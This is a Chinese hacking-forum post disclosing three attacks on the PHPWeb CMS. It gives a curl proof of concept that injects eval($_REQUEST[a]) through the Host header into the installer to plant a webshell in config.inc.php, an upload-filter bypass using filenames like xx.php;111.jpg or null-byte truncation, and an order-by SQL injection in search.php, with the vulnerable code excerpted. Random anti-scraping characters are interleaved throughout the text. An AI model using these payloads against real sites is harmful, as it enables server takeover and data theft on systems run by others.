找回密码
 立即注册
查看: 3101|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:3 x4 h* Z! R  I
9 e. `+ G8 ?; {0 y9 V; a* ]
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码( `. c# j# u% o( p
1 q% j, @3 O) t$ R) [
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件7 D& f$ g' T* w9 J
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
! F( ?) ?2 Q3 A " v- z+ I4 b7 v6 z; U; R! q
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响. c; t( Y0 L# D& J2 y+ k
' a5 z. R( i4 D; q0 q1 @6 Q0 ^9 S
分析:
# K7 v3 Y  C+ u) L6 H( h. g& Z) p ( _: U+ a* `6 t% d+ u3 a7 P+ J
. @6 q; ?8 c8 s5 u
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
* K- y- \$ D! Y- ~" O6 a5 S
' f) V" o  U% ^1 S1 {4 A( S                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);. X  S' F# w+ e# ~
                                            $filestr=str_replace(" ","",$filestr);( d6 `! ?0 S& F. F# G2 l+ B3 R
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);3 W2 }% ?3 i* l$ t, k% P
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);+ P0 c7 C1 K7 x! s7 L
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);% Z. E+ w5 x- I- F3 {! T
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);/ M- o4 E! q& i- w/ D
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);8 J5 l. B: {8 o* e! ]# ?8 b3 h! I  N6 J
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
* {: d3 [! S/ j# N                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( F/ {$ q- z9 v7 E9 e: \1 Y/ w
) C* g6 I' ]2 e9 n+ Z, b% F6 W                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
3 {, ^+ F# B' H4 Z) |, V/ J$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
4 m! S( u( F! q! W3 H
. \% P# i+ k9 opoc:2 H9 U, D5 S4 u

0 m8 N% Y  J$ `/ |?
1 K. b7 E9 }, d) |7 a2 L8 n9 d1
  N5 I" J( C! u) |( m8 dcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"4 @7 N+ j' [! x
shell地址: /config.inc.php$ O. R! N$ R1 ^# q
跟之前的 phpcms一样 需要远程数据库$ F, e3 ]  _' W; g- E1 Y
6 z7 [; x5 ?8 ?/ a
——————————————————–
( p* ^7 W( a2 u0 O6 ?上传漏洞(需要进后台):
/ I: ?5 s) q! W0 X0 T5 M漏洞文件: /kedit/upload_cgi/upload.php; a& i3 H3 N4 f2 F& n  F! s, t
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用; C+ g/ X7 k  m, ?
! I9 O) q% a2 c' ?! }' ]
5 B& u% y) v; B! x4 o, K. X
<?php
( k/ V; w/ d, u' Q; `% C9 W    define("ROOTPATH", "../../");
5 U, i; q; E! X& D4 ^7 v& w' X    include(ROOTPATH."includes/admin.inc.php");! `% X+ T9 J4 |+ Y3 n1 ?7 ]% Q0 _
    NeedAuth(0);, ?. N; {8 t' k) ~5 W- k
( e3 G: J% p$ @8 z  ]. N
    $dt=date("Ymd",time());  Q! v" s& q2 v7 C7 `6 R; x# j/ a- f
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
1 F& O1 V0 `* W& \4 m" F& k) O, Z            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);5 d6 S1 v& N% T: o4 q8 {
    }9 i" z5 ~" `! k9 f- k0 z% ~* G
( d# O* l& I  o- Y7 ]  l4 ?
    //文件保存目录路径
" O5 E, k" L/ W/ }    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
' x6 a& [3 W; g* `8 Z/ O. v" y    echo $save_path;1 ?6 }: W) M% [
    //文件保存目录URL
: |: @  [  b% V. H3 u. P- w    $save_url = '../../'.$_POST['attachPath'].$dt.'/';8 f, t4 ]" C' @, j' B

( G) e) }, e( q1 {; e* O    //定义允许上传的文件扩展名
% Y9 ?7 ^1 s' j: t' Z4 j/ }    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀& \3 Y) C4 w6 b) R; B5 @$ O  _4 z
; \4 t: A/ L7 A2 Z( Y) ^
    //最大文件大小! y4 g7 B( ^( V1 o' u$ x
    $max_size = 1000000;" J# F$ L7 b: \, u/ ?. z

' {/ G* J8 L- J. E    //更改目录权限& ~% b3 M  U% j5 E1 z
    @mkdir($save_path, 0777);; I- z# R& s1 `- X8 b0 c

) g8 C: r1 [) A* W    //文件的全部路径' y3 b6 g; E( J! W) X/ g0 u7 m
    $file_path = $save_path.$_POST['fileName'];   //保存文件名. y& \5 O2 K6 T" Q5 B
, m) z6 H- z# n: v  C( _
    //文件URL
( b" |& Z- B. U; W8 C7 f: b    $file_url = $save_url.$_POST['fileName'];
' n; G% O/ {3 R9 t5 o2 ~//有上传文件时6 j  N( s2 u) R
    if (empty($_FILES) === false) {
- x) U! B! a; Y  v( \4 Q$ k( _ : E' ^% K9 N3 e& r
            //原文件名
' p3 F: Y- b+ j8 p            $file_name = $_FILES['fileData']['name'];
' t  L  w* T6 ?& U+ ]6 X9 ~# S            //服务器上临时文件名
# ]# W+ w* m+ v0 Y. v            $tmp_name = $_FILES['fileData']['tmp_name'];
4 a, d: C, e! N2 @* \( h8 e. q            //文件大小
7 a8 Y( [" n+ v            $file_size = $_FILES['fileData']['size'];* y! M( A) {# Y; a: d
            //检查目录4 ]1 T4 p& @& X, I) I5 {
            if (@is_dir($save_path) === false) {
6 i3 P# U& c. t                    alert("上传目录不存在。");/ C! n; ?& B* U  ]* L
            }! X) E# O3 w- R& ]! ]
            //检查目录写权限
8 }+ V  r  q9 T* @+ y2 t            if (@is_writable($save_path) === false) {  G; G& ?1 ]( k$ q
                    alert("上传目录没有写权限。");1 p$ `) {( {9 l' ]& v. \! q5 l
            }. _9 @' c2 d" H
            //检查是否已上传" r0 T% U4 _6 D0 K8 m
            if (@is_uploaded_file($tmp_name) === false) {3 c  I3 s$ P4 v7 a2 `
                    alert("临时文件可能不是上传文件。");6 {1 ]) _; j2 d, v
            }
/ Z  k4 W" }$ Q            //检查文件大小3 d% D( q# h( ^
            if ($file_size > $max_size) {
) f' C) R6 u* i; `& o                    alert("上传文件大小超过限制。");6 a: E* N' d- @( {
            }
; q* ?# t  z' t# f            //获得文件扩展名
9 J: p! ^) u4 {            $temp_arr = explode(".", $_POST['fileName']);
; V' K; ^/ x; ]            $file_ext = array_pop($temp_arr);# x: o) ]7 W& ~- M- ?! R8 D# t; G
            $file_ext = trim($file_ext);
% j0 c* R. k# Z3 G" ~: _            $file_ext = strtolower($file_ext);
) J% L/ s+ ]$ K( y8 p% B+ d3 W! I; ~
9 q1 W9 d" O6 N+ y9 a+ u            //检查扩展名   5 [2 x7 B6 G# Z. @. |
            if (in_array($file_ext, $ext_arr) === false) {     ; j- U/ N) ?$ B% p+ M
                    alert("上传文件扩展名是不允许的扩展名。");, p( }8 Z( v& b! y% c! t
            }  o& @: r* y' Z9 Q# ]" o) B+ [; U! G( r

6 `4 Q5 ~9 x# ~            //移动文件   6 G/ Y3 ?; \) g' m$ v7 i! w3 q. n" F
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^3 m, S! L, m. g/ @) c# M: o
            if (move_uploaded_file($tmp_name, $file_path) === false) {) ~8 D7 v7 J$ b; y9 i
                    alert("上传文件失败。");2 l7 M( H2 L0 T( [1 \9 t
            }% Z+ X* @3 P* h" D5 D. W3 Y8 q

6 H: h- m3 L. C6 }* v/ T- Z5 |7 m! A# q            @chmod($file_path,0666);3 y/ `& R/ _+ `' D+ j

6 ^2 W4 ?* t( ^6 ]. e1 x    ?>1 ^, i7 m, |0 a5 F4 J3 l" O
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
* v: _3 A2 J5 _. ?& Y
7 F- n3 n" f% Z, o2 vapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 u7 s0 g" s/ U) a2 n( j  c1 d
1 E' S" K" ]/ P/ C
——————————————————( G7 D; l# I! ]( b/ g0 q0 Z7 q
注入漏洞:, U0 L: o9 s' ]8 [& m/ l0 p
漏洞文件:search/module/search.php# _0 x3 W! Q6 R4 V8 j7 X  u
/search/index.php?key=1&myord=1 [sqlinjection]
# c1 [8 f" ]; P/ T$ t ; U* c( V5 X1 i7 e

* k$ G( g' w0 H/ V* ^# f<?php- y; M0 ]% C0 ~' {, o
   //       ... 省略 n 行...
- L* B& H8 b) a- _8 O( D4 b+ ~   //第18行:$ o8 s# f8 ?1 V6 L' K% `
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响1 o8 [/ O3 m: L& H
           $page=htmlspecialchars($_GET["page"]);/ r& {: A. f) Q7 X
           $myord=htmlspecialchars($_GET["myord"]);
/ e% Z: b  G' I  J ! f' E; G0 ?) s$ X9 N
   //       ... 省略 n 行...; b" k4 I) s* _
   $key,$myord 两个参数带入查询7 k- Q7 L- j% t. S1 ?7 t
   //第47行 $key:
2 h4 s7 g, w8 \" v8 B / Q1 E" e6 Z- l: }" U, l: `
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
/ z. f) S0 h" y : e5 J, b, \) j3 b# ]2 C& c
   //第197行 $myord
9 ]" f( @! I7 w  Y3 v7 O( w% O- {# a   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
( c& ^4 l# F6 K
9 p# R: r1 g6 B) U& L1 C   ?>, b( G# f. ~" L" B/ v) w& f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表